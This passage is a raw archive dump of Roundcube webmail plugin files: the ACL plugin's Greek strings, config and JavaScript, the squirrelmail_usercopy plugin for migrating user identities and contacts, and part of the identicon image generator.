$labels['acli'] = 'Εισάγωγη (Αντιγραφή σε) ';
$labels['aclp'] = 'Καταχώρηση';
$labels['aclc'] = 'Δημιουργία υποφακέλων';
$labels['aclk'] = 'Δημιουργία υποφακέλων';
$labels['acld'] = 'Διαγραφή μηνυμάτων';
$labels['aclt'] = 'Διαγραφή μηνυμάτων';
$labels['acle'] = 'Απαλοιφή';
$labels['aclx'] = 'Διαγραφή φακέλου';
$labels['acla'] = 'Διαχείριση';
$labels['acln'] = 'Προσθήκη υπομνήματος στα μηνύματα';
$labels['aclfull'] = 'Πλήρης πρόσβαση';
$labels['aclother'] = 'Άλλο';
$labels['aclread'] = 'Ανάγνωση';
$labels['aclwrite'] = 'Εγγραφή';
$labels['acldelete'] = 'Διαγραφή';
$labels['shortacll'] = 'Αναζήτηση';
$labels['shortaclr'] = 'Ανάγνωση';
$labels['shortacls'] = 'Τήρηση';
$labels['shortaclw'] = 'Εγγραφή';
$labels['shortacli'] = 'Εισαγωγή';
$labels['shortaclp'] = 'Καταχώρηση';
$labels['shortaclc'] = 'Δημιουργία';
$labels['shortaclk'] = 'Δημιουργία';
$labels['shortacld'] = 'Διαγραφή';
$labels['shortaclt'] = 'Διαγραφή';
$labels['shortacle'] = 'Απαλοιφή';
$labels['shortaclx'] = 'Διαγραφή φακέλου';
$labels['shortacla'] = 'Διαχείριση';
$labels['shortacln'] = 'Προσθήκη υπομνήματος';
$labels['shortaclother'] = 'Άλλο';
$labels['shortaclread'] = 'Ανάγνωση';
$labels['shortaclwrite'] = 'Εγγραφή';
$labels['shortacldelete'] = 'Διαγραφή';
$labels['longacll'] = 'Ο φάκελος είναι ορατός στους καταλόγους και μπορείτε να εγγραφείτε σε αυτόν';
$labels['longaclr'] = 'Ο φάκελος μπορεί να προσπελαστεί για ανάγνωση ';
$labels['longacls'] = 'Η κατάσταση ανάγνωσης μηνυμάτων μπορεί να αλλαχθεί';
$labels['longaclw'] = 'Μπορούν να μεταβληθούν οι καταστάσεις μηνυμάτων και οι λέξεις κλειδιά, εκτός από τις καταστάσεις Ανάγνωσης και Διαγραφής';
$labels['longacli'] = 'Τα μηνύματα μπορούν να εγγραφούν ή να αντιγραφούν στον φάκελο ';
$labels['longaclp'] = 'Τα μηνύματα μπορούν να τοποθετηθούν σε αυτόν το φάκελο ';
$labels['longaclc'] = 'Μπορούν να δημιουργηθούν (ή να μετονομαστούν) φάκελοι ακριβώς κάτω από αυτόν τον φάκελο ';
$labels['longaclk'] = 'Μπορούν να δημιουργηθούν (ή να μετονομαστούν) φάκελοι ακριβώς κάτω από αυτόν τον φάκελο ';
$labels['longacld'] = 'Η κατάσταση διαγραφής μηνυμάτων μπορεί να μεταβληθεί';
$labels['longaclt'] = 'Η κατάσταση διαγραφής μηνυμάτων μπορεί να μεταβληθεί';
$labels['longacle'] = 'Τα μηνύματα μπορούν να απαλειφθούν';
$labels['longaclx'] = 'Ο φάκελος μπορεί να μετονομασθεί ή να διαγραφεί';
$labels['longacla'] = 'Τα δικαιώματα πρόσβασης στον φάκελο μπορούν να μεταβληθούν';
$labels['longacln'] = 'Το διαμοιραζόμενο υπόμνημα των μηνυμάτων είναι δυνατό να μεταβληθεί';
$labels['longaclfull'] = 'Πλήρης έλεγχος συμπεριλαμβανόμενης της διαχείρισης φακέλων';
$labels['longaclread'] = 'Ο φάκελος είναι δυνατό να προσπελαστεί για ανάγνωση';
$labels['longaclwrite'] = 'Τα μηνύματα μπορούν να σημαδεύονται, να εγγράφονται ή να αντιγράφονται στον φάκελο';
$labels['longacldelete'] = 'Τα μηνύματα μπορούν να διαγραφούν';
$labels['longaclother'] = 'Άλλα δικαιώματα πρόσβασης';
$labels['ariasummaryacltable'] = 'Λίστα δικαιωμάτων πρόσβασης';
$labels['arialabelaclactions'] = 'Λίστα ενεργειών';
$labels['arialabelaclform'] = 'Φόρμα δικαιωμάτων πρόσβασης';
$messages['deleting'] = 'Διαγραφή των δικαιωμάτων πρόσβασης...';
$messages['saving'] = 'Αποθήκευση δικαιώματων πρόσβασης...';
$messages['updatesuccess'] = 'Επιτυχής μεταβολή των δικαιωμάτων πρόσβασης';
$messages['deletesuccess'] = 'Επιτυχής διαγραφή των δικαιωμάτων πρόσβασης';
$messages['createsuccess'] = 'Επιτυχής προσθήκη δικαιωμάτων πρόσβασης';
$messages['updateerror'] = 'Δεν είναι δυνατή η ενημέρωση των δικαιωμάτων πρόσβασης';
$messages['deleteerror'] = 'Δεν είναι δυνατή η διαγραφή των δικαιωμάτων πρόσβασης ';
$messages['createerror'] = 'Δεν είναι δυνατή η προσθήκη δικαιωμάτων πρόσβασης ';
$messages['deleteconfirm'] = 'Είστε βέβαιοι ότι θέλετε να καταργήσετε τα δικαιώματα πρόσβασης του επιλεγμένου(ων) χρήστη(ών);';
$messages['norights'] = 'Κανένα δικαίωμα δεν έχει καθοριστεί!';
$messages['nouser'] = 'Το όνομα χρήστη δεν έχει καθοριστεί! ';
PKh�\g8[[plugins/acl/config.inc.php.distnu�[���<?php

// Default look of access rights table
// In advanced mode all access rights are displayed separately
// In simple mode access rights are grouped into four groups: read, write, delete, full 
$config['acl_advanced_mode'] = false;

// LDAP addressbook that would be searched for user names autocomplete.
// That should be an array referring to the $config['ldap_public'] array key
// or complete addressbook configuration array.
$config['acl_users_source'] = '';

// The LDAP attribute which will be used as ACL user identifier
$config['acl_users_field'] = 'mail';

// The LDAP search filter will be &'d with search queries
$config['acl_users_filter'] = '';

// Enable LDAP groups in user autocompletion.
// Note: LDAP addressbook defined in acl_users_source must include groups config
$config['acl_groups'] = false;

// Prefix added to the group name to build IMAP ACL identifier
$config['acl_group_prefix'] = 'group:';

// The LDAP attribute (or field name) which will be used as ACL group identifier
$config['acl_group_field'] = 'name';

// Include the following 'special' access control subjects in the ACL dialog;
// Defaults to array('anyone', 'anonymous') (not when set to an empty array)
// Example: array('anyone') to exclude 'anonymous'.
// Set to an empty array to exclude all special aci subjects.
$config['acl_specials'] = array('anyone', 'anonymous');
PKh�\���..plugins/acl/acl.jsnu�[���/**
 * ACL plugin script
 *
 * @licstart  The following is the entire license notice for the
 * JavaScript code in this file.
 *
 * Copyright (c) The Roundcube Dev Team
 *
 * The JavaScript code in this page is free software: you can redistribute it
 * and/or modify it under the terms of the GNU General Public License
 * as published by the Free Software Foundation, either version 3 of
 * the License, or (at your option) any later version.
 *
 * @licend  The above is the entire license notice
 * for the JavaScript code in this file.
 */

if (window.rcmail) {
    rcmail.addEventListener('init', function() {
        if (rcmail.gui_objects.acltable) {
            rcmail.acl_list_init();
            // enable autocomplete on user input
            if (rcmail.env.acl_users_source) {
                var inst = rcmail.is_framed() ? parent.rcmail : rcmail;
                inst.init_address_input_events($('#acluser'), {action:'settings/plugin.acl-autocomplete'});

                // pass config settings and localized texts to autocomplete context
                inst.set_env({ autocomplete_max:rcmail.env.autocomplete_max, autocomplete_min_length:rcmail.env.autocomplete_min_length });
                inst.add_label('autocompletechars', rcmail.labels.autocompletechars);
                inst.add_label('autocompletemore', rcmail.labels.autocompletemore);

                // fix inserted value
                inst.addEventListener('autocomplete_insert', function(e) {
                    if (e.field.id != 'acluser')
                        return;

                    e.field.value = e.insert.replace(/[ ,;]+$/, '');
                });
            }
        }

        rcmail.enable_command('acl-create', 'acl-save', 'acl-cancel', 'acl-mode-switch', true);
        rcmail.enable_command('acl-delete', 'acl-edit', false);

        if (rcmail.env.acl_advanced)
            $('#acl-switch').addClass('selected').find('input').prop('checked', true);
    });
}

// Display new-entry form
rcube_webmail.prototype.acl_create = function()
{
    this.acl_init_form();
}

// Display ACL edit form
rcube_webmail.prototype.acl_edit = function()
{
    // @TODO: multi-row edition
    var id = this.acl_list.get_single_selection();
    if (id)
        this.acl_init_form(id);
}

// ACL entry delete
rcube_webmail.prototype.acl_delete = function()
{
    var users = this.acl_get_usernames();

    if (users && users.length) {
        this.confirm_dialog(this.get_label('acl.deleteconfirm'), 'delete', function(e, ref) {
            ref.http_post('settings/plugin.acl', {
                _act: 'delete',
                _user: users.join(','),
                _mbox: rcmail.env.mailbox
            }, ref.set_busy(true, 'acl.deleting'));
        });
    }
}

// Save ACL data
rcube_webmail.prototype.acl_save = function()
{
    var data, type, rights = '', user = $('#acluser', this.acl_form).val();

    $((this.env.acl_advanced ? '#advancedrights :checkbox' : '#simplerights :checkbox'), this.acl_form).map(function() {
        if (this.checked)
            rights += this.value;
    });

    if (type = $('input:checked[name=usertype]', this.acl_form).val()) {
        if (type != 'user')
            user = type;
    }

    if (!user) {
        this.alert_dialog(this.get_label('acl.nouser'));
        return;
    }
    if (!rights) {
        this.alert_dialog(this.get_label('acl.norights'));
        return;
    }

    data = {
        _act: 'save',
        _user: user,
        _acl: rights,
        _mbox: this.env.mailbox
    }

    if (this.acl_id) {
        data._old = this.acl_id;
    }

    this.http_post('settings/plugin.acl', data, this.set_busy(true, 'acl.saving'));
}

// Cancel/Hide form
rcube_webmail.prototype.acl_cancel = function()
{
    this.ksearch_blur();
    this.acl_popup.dialog('close');
}

// Update data after save (and hide form)
rcube_webmail.prototype.acl_update = function(o)
{
    // delete old row
    if (o.old)
        this.acl_remove_row(o.old);
    // make sure the same ID doesn't exist
    else if (this.env.acl[o.id])
        this.acl_remove_row(o.id);

    // add new row
    this.acl_add_row(o, true);
    // hide autocomplete popup
    this.ksearch_blur();
    // hide form
    this.acl_popup.dialog('close');
}

// Switch table display mode
rcube_webmail.prototype.acl_mode_switch = function(elem)
{
    this.env.acl_advanced = !this.env.acl_advanced;
    this.enable_command('acl-delete', 'acl-edit', false);
    this.http_request('settings/plugin.acl', '_act=list'
        + '&_mode='+(this.env.acl_advanced ? 'advanced' : 'simple')
        + '&_mbox='+urlencode(this.env.mailbox),
        this.set_busy(true, 'loading'));
}

// ACL table initialization
rcube_webmail.prototype.acl_list_init = function()
{
    var method = this.env.acl_advanced ? 'addClass' : 'removeClass';

    $('#acl-switch')[method]('selected');
    $(this.gui_objects.acltable)[method]('advanced');

    this.acl_list = new rcube_list_widget(this.gui_objects.acltable,
        {multiselect: true, draggable: false, keyboard: true});
    this.acl_list.addEventListener('select', function(o) { rcmail.acl_list_select(o); })
        .addEventListener('dblclick', function(o) { rcmail.acl_list_dblclick(o); })
        .addEventListener('keypress', function(o) { rcmail.acl_list_keypress(o); })
        .init();
}

// ACL table row selection handler
rcube_webmail.prototype.acl_list_select = function(list)
{
    rcmail.enable_command('acl-delete', list.get_selection().length > 0);
    rcmail.enable_command('acl-edit', list.get_selection().length == 1);
    list.focus();
}

// ACL table double-click handler
rcube_webmail.prototype.acl_list_dblclick = function(list)
{
    this.acl_edit();
}

// ACL table keypress handler
rcube_webmail.prototype.acl_list_keypress = function(list)
{
    if (list.key_pressed == list.ENTER_KEY)
        this.command('acl-edit');
    else if (list.key_pressed == list.DELETE_KEY || list.key_pressed == list.BACKSPACE_KEY)
        if (!this.acl_form || !this.acl_form.is(':visible'))
            this.command('acl-delete');
}

// Reloads ACL table
rcube_webmail.prototype.acl_list_update = function(html)
{
    $(this.gui_objects.acltable).html(html);
    this.acl_list_init();
}

// Returns names of users in selected rows
rcube_webmail.prototype.acl_get_usernames = function()
{
    var users = [], n, len, id, row,
        list = this.acl_list,
        selection = list.get_selection();

    for (n=0, len=selection.length; n<len; n++) {
        if (this.env.acl_specials.length && $.inArray(selection[n], this.env.acl_specials) >= 0) {
            users.push(selection[n]);
        }
        else if ((row = list.rows[selection[n]]) && (id = $(row.obj).data('userid'))) {
            users.push(id);
        }
    }

    return users;
}

// Removes ACL table row
rcube_webmail.prototype.acl_remove_row = function(id)
{
    var list = this.acl_list;

    list.remove_row(id);
    list.clear_selection();

    // we don't need it anymore (remove id conflict)
    $('#rcmrow'+id).remove();
    this.env.acl[id] = null;

    this.enable_command('acl-delete', list.get_selection().length > 0);
    this.enable_command('acl-edit', list.get_selection().length == 1);
}

// Adds ACL table row
rcube_webmail.prototype.acl_add_row = function(o, sel)
{
    var n, len, ids = [], spec = [], id = o.id, list = this.acl_list,
        items = this.env.acl_advanced ? [] : this.env.acl_items,
        table = this.gui_objects.acltable,
        row = $('thead > tr', table).clone();

    // Update new row
    $('th', row).map(function() {
        var td = $('<td>'),
            title = $(this).attr('title'),
            cl = this.className.replace(/^acl/, '');

        if (title)
            td.attr('title', title);

        if (items && items[cl])
            cl = items[cl];

        if (cl == 'user')
            td.addClass(cl).attr('title', o.title).append($('<a>').text(o.display));
        else
            td.addClass(this.className + ' ' + rcmail.acl_class(o.acl, cl)).html('<span/>');

        $(this).replaceWith(td);
    });

    row = row.attr({id: 'rcmrow' + id, 'data-userid': o.username}).get(0);

    this.env.acl[id] = o.acl;

    // sorting... (create an array of user identifiers, then sort it)
    for (n in this.env.acl) {
        if (this.env.acl[n]) {
            if (this.env.acl_specials.length && $.inArray(n, this.env.acl_specials) >= 0)
                spec.push(n);
            else
                ids.push(n);
        }
    }
    ids.sort();
    // specials on the top
    ids = spec.concat(ids);

    // find current id
    for (n=0, len=ids.length; n<len; n++)
        if (ids[n] == id)
            break;

    // add row
    if (n && n < len) {
        $('#rcmrow'+ids[n-1]).after(row);
        list.init_row(row);
        list.rowcount++;
    }
    else
        list.insert_row(row);

    if (sel)
        list.select_row(o.id);
}

// Initializes and shows ACL create/edit form
rcube_webmail.prototype.acl_init_form = function(id)
{
    var ul, row, td, val = '', type = 'user', li_elements, body = $('body'),
        adv_ul = $('#advancedrights'), sim_ul = $('#simplerights'),
        name_input = $('#acluser'), type_list = $('#usertype');

    if (!this.acl_form) {
        var fn = function () { $('input[value="user"]').prop('checked', true); };
        name_input.click(fn).keypress(fn);
    }

    this.acl_form = $('#aclform');

    // Hide unused items
    if (this.env.acl_advanced) {
        adv_ul.show();
        sim_ul.hide();
        ul = adv_ul;
    }
    else {
        sim_ul.show();
        adv_ul.hide();
        ul = sim_ul;
    }

    // initialize form fields
    li_elements = $(':checkbox', ul);
    li_elements.attr('checked', false);

    if (id && (row = this.acl_list.rows[id])) {
        row = row.obj;
        li_elements.map(function() {
            td = $('td.'+this.id, row);
            if (td.length && td.hasClass('enabled'))
                this.checked = true;
        });

        if (!this.env.acl_specials.length || $.inArray(id, this.env.acl_specials) < 0)
            val = $(row).data('userid');
        else
            type = id;
    }
    // mark read (lrs) rights by default
    else {
        li_elements.filter(function() { return this.id.match(/^acl([lrs]|read)$/); }).prop('checked', true);
    }

    name_input.val(val);
    $('input[value='+type+']').prop('checked', true);

    this.acl_id = id;

    var buttons = {}, me = this, body = document.body;

    buttons[this.get_label('save')] = function(e) { me.command('acl-save'); };
    buttons[this.get_label('cancel')] = function(e) { me.command('acl-cancel'); };

    // display it as popup
    this.acl_popup = this.show_popup_dialog(
        this.acl_form.show(),
        id ? this.get_label('acl.editperms') : this.get_label('acl.newuser'),
        buttons,
        {
            button_classes: ['mainaction submit', 'cancel'],
            modal: true,
            closeOnEscape: true,
            close: function(e, ui) {
                (me.is_framed() ? parent.rcmail : me).ksearch_hide();
                me.acl_form.appendTo(body).hide();
                $(this).remove();
                window.focus(); // focus iframe
            }
        }
    );

    if (type == 'user')
        name_input.focus();
    else
        $('input:checked', type_list).focus();
}

// Returns class name according to ACL comparison result
rcube_webmail.prototype.acl_class = function(acl1, acl2)
{
    var i, len, found = 0;

    acl1 = String(acl1);
    acl2 = String(acl2);

    for (i=0, len=acl2.length; i<len; i++)
        if (acl1.indexOf(acl2[i]) > -1)
            found++;

    if (found == len)
        return 'enabled';
    else if (found)
        return 'partial';

    return 'disabled';
}
PKh�\�dG9qq+plugins/squirrelmail_usercopy/composer.jsonnu�[���{
    "name": "roundcube/squirrelmail_usercopy",
    "type": "roundcube-plugin",
    "description": "Copy a new users identity and settings from a nearby Squirrelmail installation",
    "license": "GPL-3.0-or-later",
    "version": "1.6",
    "authors": [
        {
            "name": "Thomas Bruederli",
            "email": "roundcube@gmail.com",
            "role": "Lead"
        }
    ],
    "repositories": [
        {
            "type": "composer",
            "url": "https://plugins.roundcube.net"
        }
    ],
    "require": {
        "php": ">=7.3.0",
        "roundcube/plugin-installer": ">=0.1.3"
    }
}
PKh�\�{D�*�*7plugins/squirrelmail_usercopy/squirrelmail_usercopy.phpnu�[���<?php

/**
 * Copy a new users identities and contacts from a nearby Squirrelmail installation
 *
 * @version 1.6
 * @author Thomas Bruederli, Johannes Hessellund, pommi, Thomas Lueder
 */
class squirrelmail_usercopy extends rcube_plugin
{
    public $task = 'login';

    private $prefs            = null;
    private $identities_level = 0;
    private $abook            = [];

    public function init()
    {
        $this->add_hook('user_create', [$this, 'create_user']);
        $this->add_hook('identity_create', [$this, 'create_identity']);
    }

    public function create_user($p)
    {
        $rcmail = rcmail::get_instance();

        // Read plugin's config
        $this->initialize();

        // read prefs and add email address
        $this->read_squirrel_prefs($p['user']);

        if (
            ($this->identities_level == 0 || $this->identities_level == 2)
            && $rcmail->config->get('squirrelmail_set_alias')
            && !empty($this->prefs['email_address'])
        ) {
            $p['user_email'] = $this->prefs['email_address'];
        }

        return $p;
    }

    public function create_identity($p)
    {
        $rcmail = rcmail::get_instance();

        // prefs are set in create_user()
        if ($this->prefs) {
            if (!empty($this->prefs['full_name'])) {
                $p['record']['name'] = $this->prefs['full_name'];
            }

            if (
                ($this->identities_level == 0 || $this->identities_level == 2)
                && !empty($this->prefs['email_address'])
            ) {
                $p['record']['email'] = $this->prefs['email_address'];
            }

            if (!empty($this->prefs['___signature___'])) {
                $p['record']['signature'] = $this->prefs['___signature___'];
            }

            if (!empty($this->prefs['reply_to'])) {
                $p['record']['reply-to'] = $this->prefs['reply_to'];
            }

            if (
                ($this->identities_level == 0 || $this->identities_level == 1)
                && isset($this->prefs['identities']) && $this->prefs['identities'] > 1
            ) {
                for ($i = 1; $i < $this->prefs['identities']; $i++) {
                    unset($ident_data);
                    $ident_data = ['name' => '', 'email' => '']; // required data

                    if (!empty($this->prefs['full_name'.$i])) {
                        $ident_data['name'] = $this->prefs['full_name'.$i];
                    }

                    if ($this->identities_level == 0 && !empty($this->prefs['email_address'.$i])) {
                        $ident_data['email'] = $this->prefs['email_address'.$i];
                    }
                    else {
                        $ident_data['email'] = $p['record']['email'];
                    }

                    if (!empty($this->prefs['reply_to'.$i])) {
                        $ident_data['reply-to'] = $this->prefs['reply_to'.$i];
                    }

                    if (!empty($this->prefs['___sig'.$i.'___'])) {
                        $ident_data['signature'] = $this->prefs['___sig'.$i.'___'];
                    }

                    // insert identity
                    $rcmail->user->insert_identity($ident_data);
                }
            }

            // copy address book
            $contacts  = $rcmail->get_address_book(null, true);
            $addresses = [];
            $groups    = [];

            if ($contacts && !empty($this->abook)) {
                foreach ($this->abook as $rec) {
                    // #1487096: handle multi-address and/or too long items
                    // #1487858: convert multi-address contacts into groups
                    $emails   = preg_split('/[;,]/', $rec['email'], -1, PREG_SPLIT_NO_EMPTY);
                    $group_id = null;

                    // create group for addresses
                    if (count($emails) > 1) {
                        if (!empty($groups[$rec['name']])) {
                            $group_id = $groups[$rec['name']];
                        }
                        else if ($group = $contacts->create_group($rec['name'])) {
                            $group_id = $group['id'];
                            $groups[$rec['name']] = $group_id;
                        }
                    }

                    // create contacts
                    foreach ($emails as $email) {
                        $contact_id = null;

                        if (!empty($addresses[$email])) {
                            $contact_id = $addresses[$email];
                        }
                        else if (rcube_utils::check_email(rcube_utils::idn_to_ascii($email))) {
                            $rec['email'] = rcube_utils::idn_to_utf8($email);
                            if ($contact_id = $contacts->insert($rec, true)) {
                                $addresses[$email] = $contact_id;
                            }
                        }

                        if (!empty($group_id) && !empty($contact_id)) {
                            $contacts->add_to_group($group_id, [$contact_id]);
                        }
                    }
                }
            }

            // mark identity as complete for following hooks
            $p['complete'] = true;
        }

        return $p;
    }

    private function initialize()
    {
        $rcmail = rcmail::get_instance();

        // Load plugin's config file
        $this->load_config();

        // Set identities_level for operations of this plugin
        $ilevel = $rcmail->config->get('squirrelmail_identities_level');
        if ($ilevel === null) {
            $ilevel = $rcmail->config->get('identities_level', 0);
        }

        $this->identities_level = intval($ilevel);
    }

    private function read_squirrel_prefs($uname)
    {
        $rcmail = rcmail::get_instance();

        /**** File based backend ****/
        if ($rcmail->config->get('squirrelmail_driver') == 'file' && ($srcdir = $rcmail->config->get('squirrelmail_data_dir'))) {
            if (($hash_level = $rcmail->config->get('squirrelmail_data_dir_hash_level')) > 0) {
                $srcdir = slashify($srcdir).chunk_split(substr(base_convert(crc32($uname), 10, 16), 0, $hash_level), 1, '/');
            }
            $file_charset = $rcmail->config->get('squirrelmail_file_charset');
            $prefsfile = slashify($srcdir) . $uname . '.pref';
            $abookfile = slashify($srcdir) . $uname . '.abook';
            $sigfile   = slashify($srcdir) . $uname . '.sig';
            $sigbase   = slashify($srcdir) . $uname . '.si';

            if (is_readable($prefsfile)) {
                $this->prefs = [];
                foreach (file($prefsfile) as $line) {
                    list($key, $value) = rcube_utils::explode('=', $line);
                    $this->prefs[$key] = $this->convert_charset(rtrim($value), $file_charset);
                }

                // also read signature file if exists
                if (is_readable($sigfile)) {
                    $sig = file_get_contents($sigfile);
                    $this->prefs['___signature___'] = $this->convert_charset($sig, $file_charset);
                }

                if (isset($this->prefs['identities']) && $this->prefs['identities'] > 1) {
                    for ($i=1; $i < $this->prefs['identities']; $i++) {
                        // read signature file if exists
                        if (is_readable($sigbase.$i)) {
                            $sig = file_get_contents($sigbase.$i);
                            $this->prefs['___sig'.$i.'___'] = $this->convert_charset($sig, $file_charset);
                        }
                    }
                }

                // parse address book file
                if (filesize($abookfile)) {
                    foreach (file($abookfile) as $line) {
                        $line = $this->convert_charset(rtrim($line), $file_charset);
                        $line = str_getcsv($line, "|");

                        $rec = [
                            'name'      => $line[0],
                            'firstname' => $line[1],
                            'surname'   => $line[2],
                            'email'     => $line[3],
                            'notes'     => $line[4],
                        ];

                        if ($rec['name'] && $rec['email']) {
                            $this->abook[] = $rec;
                        }
                    }
                }
            }
        }
        // Database backend
        else if ($rcmail->config->get('squirrelmail_driver') == 'sql') {
            $this->prefs = [];

            // connect to squirrelmail database
            $db = rcube_db::factory($rcmail->config->get('squirrelmail_dsn'));

            $db->set_debug($rcmail->config->get('sql_debug'));
            $db->db_connect('r'); // connect in read mode

            // retrieve prefs
            $userprefs_table = $rcmail->config->get('squirrelmail_userprefs_table');
            $address_table   = $rcmail->config->get('squirrelmail_address_table');
            $db_charset      = $rcmail->config->get('squirrelmail_db_charset');

            if ($db_charset) {
                $db->query('SET NAMES ' . $db_charset);
            }

            $sql_result = $db->query('SELECT * FROM ' . $db->quote_identifier($userprefs_table)
                .' WHERE `user` = ?', $uname); // ? is replaced with emailaddress

            while ($sql_array = $db->fetch_assoc($sql_result) ) { // fetch one row from result
                $this->prefs[$sql_array['prefkey']] = rcube_charset::convert(rtrim($sql_array['prefval']), $db_charset);
            }

            // retrieve address table data
            $sql_result = $db->query('SELECT * FROM ' . $db->quote_identifier($address_table)
                .' WHERE `owner` = ?', $uname); // ? is replaced with emailaddress

            // parse address book
            while ($sql_array = $db->fetch_assoc($sql_result) ) { // fetch one row from result
                $rec['name']      = rcube_charset::convert(rtrim($sql_array['nickname']), $db_charset);
                $rec['firstname'] = rcube_charset::convert(rtrim($sql_array['firstname']), $db_charset);
                $rec['surname']   = rcube_charset::convert(rtrim($sql_array['lastname']), $db_charset);
                $rec['email']     = rcube_charset::convert(rtrim($sql_array['email']), $db_charset);
                $rec['notes']     = rcube_charset::convert(rtrim($sql_array['label']), $db_charset);

                if ($rec['name'] && $rec['email']) {
                    $this->abook[] = $rec;
                }
            }
        } // end if 'sql'-driver
    }

    private function convert_charset($str, $charset = null)
    {
        if (!$charset) {
            return utf8_encode($str);
        }

        return rcube_charset::convert($str, $charset, RCUBE_CHARSET);
    }
}
PKh�\�Q��@@1plugins/squirrelmail_usercopy/config.inc.php.distnu�[���<?php

// Driver - 'file' or 'sql'
$config['squirrelmail_driver'] = 'sql';

// full path to the squirrelmail data directory
$config['squirrelmail_data_dir'] = '';
$config['squirrelmail_data_dir_hash_level'] = 0;

// file charset - e.g. 'EUC-JP'. Leave empty for ASCII.
$config['squirrelmail_file_charset'] = '';

// 'mysql://dbuser:dbpass@localhost/database'
$config['squirrelmail_dsn'] = 'mysql://user:password@localhost/webmail';
$config['squirrelmail_db_charset'] = 'iso-8859-1';

$config['squirrelmail_address_table'] = 'address';
$config['squirrelmail_userprefs_table'] = 'userprefs';

// identities_level option value for squirrelmail plugin
// With this you can bypass/change identities_level checks
// for operations inside this plugin. See #1486773
$config['squirrelmail_identities_level'] = null;

// Set to false if you don't want the email address of the default identity
// (squirrelmail preference "email_address") to be saved as alias.
// Recommended: set to false if your squirrelmail config setting $edit_identity has been true.
$config['squirrelmail_set_alias'] = true;
PKh�\���2
2
plugins/identicon/identicon.phpnu�[���<?php

/**
 * Identicon
 *
 * Plugin to display a unique github-like identification icons
 * for contacts/addresses that do not have a photo image.
 *
 * @todo: Make it optional and configurable via user preferences
 * @todo: Make color palettes match the current skin
 * @todo: Implement optional SVG generator
 *
 * @license GNU GPLv3+
 * @author Aleksander Machniak <alec@alec.pl>
 * @website http://roundcube.net
 */
class identicon extends rcube_plugin
{
    public $task = 'addressbook';


    /**
     * Plugin initialization.
     */
    function init()
    {
        $this->add_hook('contact_photo', [$this, 'contact_photo']);
    }

    /**
     * 'contact_photo' hook handler to inject an identicon image
     */
    function contact_photo($args)
    {
        // pre-conditions, exit if photo already exists or invalid input
        if (!empty($args['url']) || !empty($args['data'])
            || (empty($args['record']) && empty($args['email']))
        ) {
            return $args;
        }

        $rcmail = rcmail::get_instance();

        // supporting edit/add action may be tricky, let's not do this
        if ($rcmail->action == 'show' || $rcmail->action == 'photo') {
            $email = !empty($args['email']) ? $args['email'] : null;

            if (!$email && $args['record']) {
                $addresses = rcube_addressbook::get_col_values('email', $args['record'], true);
                if (!empty($addresses)) {
                    $email = $addresses[0];
                }
            }

            if ($email) {
                require_once __DIR__ . '/identicon_engine.php';

                if (!empty($args['attrib']['bg-color'])) {
                    $bgcolor = $args['attrib']['bg-color'];
                }
                else {
                    $bgcolor = rcube_utils::get_input_string('_bgcolor', rcube_utils::INPUT_GET);
                }

                $identicon = new identicon_engine($email, null, $bgcolor);

                if ($rcmail->action == 'show') {
                    // set photo URL using data-uri
                    if (($icon = $identicon->getBinary()) && ($icon = base64_encode($icon))) {
                        $mimetype    = $identicon->getMimetype();
                        $args['url'] = sprintf('data:%s;base64,%s', $mimetype, $icon);
                    }
                }
                else {
                    // send the icon to the browser
                    if ($identicon->sendOutput()) {
                        exit;
                    }
                }
            }
        }

        return $args;
    }
}
PKh�\��yyplugins/identicon/composer.jsonnu�[���{
    "name": "roundcube/identicon",
    "type": "roundcube-plugin",
    "description": "Displays Github-like identicons for contacts/addresses without photo specified.",
    "license": "GPL-3.0-or-later",
    "version": "0.1",
    "authors": [
        {
            "name": "Aleksander Machniak",
            "email": "alec@alec.pl",
            "role": "Lead"
        }
    ],
    "repositories": [
        {
            "type": "composer",
            "url": "https://plugins.roundcube.net"
        }
    ],
    "require": {
        "php": ">=7.3.0",
        "php-gd": "*",
        "roundcube/plugin-installer": ">=0.1.3"
    }
}
PKh�\h�]��&plugins/identicon/identicon_engine.phpnu�[���<?php

/**
 * @license GNU GPLv3+
 * @author Aleksander Machniak <alec@alec.pl>
 */
class identicon_engine
{
    private $ident;
    private $width;
    private $height;
    private $margin;
    private $binary;
    private $color;
    private $bgcolor  = '#F9F9F9';
    private $mimetype = 'image/png';
    private $palette  = [
        '#F44336', '#E91E63', '#9C27B0', '#673AB7', '#3F51B5', '#2196F3',
        '#03A9F4', '#00BCD4', '#009688', '#4CAF50', '#8BC34A', '#CDDC39',
        '#FFEB3B', '#FFC107', '#FF9800', '#FF5722', '#795548', '#607D8B',
    ];
    private $grid = [
         0,  1,  2,  1,  0,
         3,  4,  5,  4,  3,
         6,  7,  8,  7,  6,
         9, 10, 11, 10,  9,
        12, 13, 14, 13, 12,
    ];

    const GRID_SIZE = 5;
    const ICON_SIZE = 150;


    /**
     * Class constructor
     *
     * @param string $ident   Unique identifier (email address)
     * @param int    $size    Icon size in pixels
     * @param string $bgcolor Icon background color
     */
    public function __construct($ident, $size = null, $bgcolor = null)
    {
        if (!$size) {
            $size = self::ICON_SIZE;
        }

        $this->ident  = $ident;
        $this->margin = (int) round($size / 10);
        $this->width  = (int) round(($size - $this->margin * 2) / self::GRID_SIZE) * self::GRID_SIZE + $this->margin * 2;
        $this->height = $this->width;

        if ($bgcolor) {
            if (preg_match('/^#?[0-9a-f]{6}$/', $bgcolor)) {
                if ($bgcolor[0] != '#') {
                    $bgcolor = "#{$bgcolor}";
                }
                $this->bgcolor = $bgcolor;
            }
            else if ($bgcolor === 'transparent') {
                $this->bgcolor = $bgcolor;
            }
        }

        $this->generate();
    }

    /**
     * Returns image mimetype
     */
    public function getMimetype()
    {
        return $this->mimetype;
    }

    /**
     * Returns the image in binary form
     */
    public function getBinary()
    {
        return $this->binary;
    }

    /**
     * Sends the image to the browser
     */
    public function sendOutput()
    {
        if ($this->binary) {
            $rcmail = rcmail::get_instance();
            $rcmail->output->future_expire_header(10 * 60);

            header('Content-Type: ' . $this->mimetype);
            header('Content-Size: ' . strlen($this->binary));
            echo $this->binary;

            return true;
        }

        return false;
    }

    /**
     * Icon generator
     */
    private function generate()
    {
        $ident = md5($this->ident, true);

        // set icon color
        $div         = intval(255/count($this->palette));
        $index       = intval(ord($ident[0]) / $div);
        $this->color = $this->palette[$index] ?? $this->palette[0];

        // set cell size
        $cell_width  = ($this->width - $this->margin * 2) / self::GRID_SIZE;
        $cell_height = ($this->height - $this->margin * 2) / self::GRID_SIZE;

        // create a grid
        foreach ($this->grid as $i => $idx) {
            $row_num    = intval($i / self::GRID_SIZE);
